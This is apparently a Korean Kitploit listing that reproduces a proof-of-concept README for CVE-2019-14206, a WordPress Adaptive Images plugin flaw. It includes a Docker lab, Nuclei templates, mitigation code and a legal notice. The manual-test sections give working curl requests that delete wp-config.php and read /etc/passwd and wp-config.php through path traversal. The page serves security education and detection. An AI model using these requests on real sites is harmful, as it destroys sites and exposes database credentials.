Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2019-14206-poc — CVE-2019-14206에 대한 개념 증명 익스플로잇, Adaptive Images WordPress 플러그인에서 임의 파일 삭제를 시연합니다. 보안 교육 및 검증을 위한 Docker 랩, Nuclei 템플릿, 수동 테스트 스크립트가 포함되어 있습니다. | Kitploit
도구/GitHubGitHub/developerfred/cve-2019-14206-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubdeveloperfred/cve-2019-14206-poc

cve-2019-14206-poc

CVE-2019-14206에 대한 개념 증명 익스플로잇, Adaptive Images WordPress 플러그인에서 임의 파일 삭제를 시연합니다. 보안 교육 및 검증을 위한 Docker 랩, Nuclei 템플릿, 수동 테스트 스크립트가 포함되어 있습니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
7개월 전아직 검토되지 않음

CVE-2019-14206 - Adaptive Images for WordPress Arbitrary File Deletion

📋 목차

  1. 취약점 정보
  2. 사전 요구사항
  3. 설치
  4. 테스트 방법
    • 빠른 테스트
    • 전체 Docker 테스트
    • Nuclei 테스트
    • 수동 테스트
  5. 결과 해석
  6. 정리
  7. 문제 해결
  8. 완화
  9. 법적 고지

🎯 취약점 정보

CVE-ID: CVE-2019-14206
심각도: 높음 (CVSS 6.5)
영향 받는 플러그인: Adaptive Images for WordPress
영향 받는 버전: < 0.6.67

이 취약점이 허용하는 것:

이 취약점을 통해 원격의 인증되지 않은 공격자가 Adaptive Images 플러그인을 악용하여 WordPress 서버에서 임의 파일을 삭제할 수 있습니다.

실제 영향:

  • ❌ wp-config.php 삭제로 사이트 완전 중단
  • ❌ LFI를 통한 데이터베이스 자격 증명 노출
  • ⚠️ 공격 체인으로 RCE(원격 코드 실행) 유도
  • 🔴 WordPress 사이트 완전 장악

근본 원인:

root@kitploit:~
// 플러그인이 사용자 입력을 검증하지 않음
$settings = $_REQUEST['adaptive-images-settings'];

// 공격자가 제어하는 매개변수로 파일 경로 구성
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;

// 임의 파일 삭제
unlink($cache_file);

💻 사전 요구사항

최소 요구사항:

  • 운영체제: macOS, Linux 또는 Windows
  • Nuclei: 버전 3.0 이상 (설치)
  • Bash: 버전 4.0 이상
  • curl: 수동 테스트용
  • PHP: 버전 7.0+ (선택 사항, 내장 서버 테스트용)

사전 요구사항 확인:

root@kitploit:~
# Nuclei 확인
nuclei --version

# Bash 확인
bash --version

# curl 확인
curl --version

# PHP 확인 (선택 사항)
php --version 2>/dev/null || echo "PHP를 사용할 수 없습니다 (선택 사항)"

🚀 설치

1단계: 파일 복제 또는 다운로드

root@kitploit:~
# nuclei-templates 디렉토리인 경우
cd /Volumes/Codingsh/experimentos/nuclei-templates

# 또는 필요한 파일 다운로드
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates

2단계: 파일 구조 확인

root@kitploit:~
# 파일 존재 확인
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/

3단계: 스크립트 실행 가능하게 만들기

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh

🧪 테스트 방법

1. 빠른 테스트 ⏱️ 2분

전체 악용 과정을 시뮬레이션하는 데모 실행:

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh

작동 방식:

  • 전체 테스트 환경 생성
  • 취약점 시뮬레이션
  • 파일 삭제 시연
  • Nuclei 템플릿 검증

예상 출력:

root@kitploit:~
[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready

2. 전체 Docker 테스트 🐳 10분

1단계: Docker 환경 시작

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

# Docker가 실행 중인 경우
docker-compose up -d

# Docker가 실행 중이 아닌 경우, 시뮬레이터 사용
./docker-test-full.sh

2단계: WordPress 접속

root@kitploit:~
# 환경은 다음에서 사용 가능
# http://localhost:8888

3단계: 취약한 플러그인 확인

root@kitploit:~
# 취약한 스크립트 존재 확인
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php

4단계: 테스트 실행

root@kitploit:~
# LFI 테스트
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# 파일 삭제 테스트
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# wp-config.php 삭제 확인
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php

3. Nuclei 테스트 🎯 5분

1단계: 대상 목록 준비

root@kitploit:~
# 대상 파일 생성
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF

2단계: 스캔 실행

root@kitploit:~
# 기본 스캔
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt

# 상세 스캔
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v

# 디버그 스캔 (바운티에 필수)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug

# 결과 저장
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt

3단계: 결과 해석

root@kitploit:~
# 결과 보기
cat results.txt

# 양성 결과 형식:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion

4. 수동 테스트 🔧 10분

1단계: PHP 서버 시작

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888

2단계: LFI (파일 읽기) 테스트

root@kitploit:~
# /etc/passwd 읽기 시도
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# wp-config.php 읽기 시도
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"

LFI 예상 결과:

root@kitploit:~
=== CVE-2019-14206 Vulnerability Test ===

[*] Settings received:
  source_file = /etc/passwd
  ...

[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd

3단계: 파일 삭제 테스트

root@kitploit:~
# 삭제 전 wp-config.php 존재 확인
ls -la wp-config.php

# 익스플로잇 실행
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# 삭제 후 wp-config.php 확인
ls -la wp-config.php

파일 삭제 예상 결과:

root@kitploit:~
[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php

📊 결과 해석

양성 결과 (취약함):

root@kitploit:~
[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php

Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible

음성 결과 (취약하지 않음):

root@kitploit:~
[N/A] No results found

위음성 가능 원인:

  • ✅ 플러그인이 설치되지 않음
  • ✅ 플러그인이 업데이트됨 (버전 >= 0.6.67)
  • ✅ WAF가 요청 차단
  • ✅ 서버가 예상 경로에서 응답하지 않음

🧹 정리

테스트 환경 정리:

root@kitploit:~
# Docker 환경 제거
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
docker-compose down -v 2>/dev/null

# 테스트 파일 제거
rm -rf docker-test/
rm -f targets.txt results.txt

# 삭제된 wp-config.php 복원 (필요시)
cat > wp-config.php << 'EOF'
<?php
// 복원된 파일
define('DB_NAME', 'wordpress');
EOF

Nuclei 정리:

root@kitploit:~
# 스캔 결과 제거
rm -f results.txt

# 캐시 정리 (선택 사항)
nuclei -rm-cache

🔧 문제 해결

문제 1: Nuclei를 찾을 수 없음

root@kitploit:~
# Nuclei 설치
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# 또는 바이너리 다운로드
wget https://github.com/projectdiscovery/nuclei/releases/download/v3.0.0/nuclei-linux-amd64.zip
unzip nuclei-linux-amd64.zip
chmod +x nuclei
sudo mv nuclei /usr/local/bin/

문제 2: 템플릿이 로드되지 않음

root@kitploit:~
# 파일 존재 확인
ls -la http/cves/2019/CVE-2019-14206.yaml

# YAML 구문 확인
python3 -c "import yaml; yaml.safe_load(open('http/cves/2019/CVE-2019-14206.yaml'))"

# 절대 경로 사용
nuclei -t /Volumes/Codingsh/experimentos/nuclei-templates/http/cves/2019/CVE-2019-14206.yaml -u http://target

문제 3: PHP 서버가 시작되지 않음

root@kitploit:~
# 포트 확인
lsof -i :8888

# 다른 포트 사용
php -S localhost:9999

# PHP 설치 확인
which php
php --version

문제 4: Docker가 실행되지 않음

root@kitploit:~
# Docker 상태 확인
docker ps

# Docker 시작
# macOS: Docker Desktop 열기
# Linux: sudo systemctl start docker

# 시뮬레이터 모드 사용 (Docker 불필요)
./docker-test-full.sh

🛡️ 완화

즉시 보호 조치:

  1. 플러그인 업데이트:

    root@kitploit:~
    WordPress 관리자 > 플러그인 > Adaptive Images 업데이트
    
  2. 안전한 버전: >= 0.6.67

  3. 취약한 플러그인 제거:

    root@kitploit:~
    rm -rf wp-content/plugins/adaptive-images/
    

코드 보호 (개발자용):

root@kitploit:~
// ✅ 안전한 코드 (수정 예시)
function adaptive_images_script_get_settings() {
    // 입력 검증
    $allowed_keys = ['cache_dir', 'resolution', 'request_uri'];
    $settings = [];
    
    foreach ($allowed_keys as $key) {
        if (isset($_REQUEST['adaptive-images-settings'][$key])) {
            $settings[$key] = sanitize_text_field($_REQUEST['adaptive-images-settings'][$key]);
        }
    }
    
    return $settings;
}

function adaptive_images_delete_stale_cache_image($source_file, $cache_file, $resolution) {
    // 경로 검증
    $allowed_cache_dirs = ['ai-cache', 'adaptive-cache'];
    $cache_dir = basename(dirname($cache_file));
    
    if (!in_array($cache_dir, $allowed_cache_dirs)) {
        return false; // 잘못된 경로 거부
    }
    
    // 검증된 절대 경로 사용
    $cache_file = WP_CONTENT_DIR . '/ai-cache/' . basename($cache_file);
    
    if (file_exists($cache_file)) {
        unlink($cache_file);
    }
}

⚠️ 법적 고지

이용 약관:

이 자료는 교육 및 보안 테스트 목적으로만 제공됩니다.

허용되는 행위:

  • ✅ 소유한 시스템에서 테스트
  • ✅ 실험실 환경에서 사용
  • ✅ 웹 취약점 학습
  • ✅ 오픈소스 보안 기여
  • ✅ 자체 애플리케이션 테스트

금지되는 행위:

  • ❌ 허가 없이 시스템 테스트
  • ❌ 손상이나 중단 유발
  • ❌ 악의적인 목적으로 사용
  • ❌ 익스플로잇 판매 또는 배포
  • ❌ 취약한 시스템 정보 공개

책임:

저자와 기여자는 다음에 대해 책임을 지지 않습니다:

  • 이 자료의 부적절한 사용
  • 시스템에 발생한 손상
  • 데이터 손실
  • 서비스 중단
  • 법적 문제

책임 있는 공개:

실제 시스템에서 이 취약점을 발견한 경우:

  1. 악용하거나 손상을 주지 마십시오
  2. 취약점을 문서화하십시오
  3. 시스템 담당자에게 알리십시오
  4. 책임 있는 공개 지침을 따르십시오

📚 추가 자료

참고 자료:

  • NVD - CVE-2019-14206
  • 원본 연구
  • 공식 플러그인
  • WPScan 항목

관련 도구:

  • Nuclei
  • nuclei-templates
  • WPScan
  • Wordfence

🎓 학습 내용

이 프로젝트는 다음을 보여줍니다:

  1. 입력 검증: 모든 사용자 입력을 검증하는 중요성
  2. 경로 탐색: 파일 경로가 어떻게 조작될 수 있는지
  3. 파일 작업: 사용자 입력과 함께 unlink()와 같은 함수의 위험성
  4. 플러그인 보안: WordPress 플러그인의 일반적인 취약점
  5. CVE 분석: 취약점 분석 및 재현 방법
  6. 탐지 개발: 효과적인 탐지 템플릿 생성 방법

📝 변경 로그

버전 1.0.0 (2026-01-04)

  • ✅ Nuclei 템플릿 생성
  • ✅ PoC 환경 완성
  • ✅ 전체 문서화
  • ✅ 테스트 스크립트 검증 완료
  • ✅ 기능 데모

🤝 기여

기여는 환영합니다! 기여 방법:

  1. 저장소를 포크하세요
  2. 브랜치를 생성하세요 (git checkout -b feature/improvement)
  3. 변경 사항을 커밋하세요 (git commit -am 'Add improvement')
  4. 브랜치에 푸시하세요 (git push origin feature/improvement)
  5. 풀 리퀘스트를 생성하세요

📧 지원

질문이나 문제가 있을 경우:

  1. 문제 해결 섹션을 확인하세요
  2. 저장소 이슈를 확인하세요
  3. 다음 정보와 함께 문제를 문서화하세요:
    • 운영체제
    • Nuclei 버전
    • PHP 버전 (해당하는 경우)
    • 전체 오류 메시지
    • 재현 단계

🎉 이 테스트 자료를 사용해 주셔서 감사합니다!

기억하세요: 큰 힘에는 큰 책임이 따릅니다. 이 지식을 사용하여 인터넷을 더 안전하게 만들고, 더 취약하게 만들지 마십시오.


만든 날짜: 2026년 1월 4일
버전: 1.0.0
상태: ✅ 프로덕션 사용 준비 완료

도구 다운로드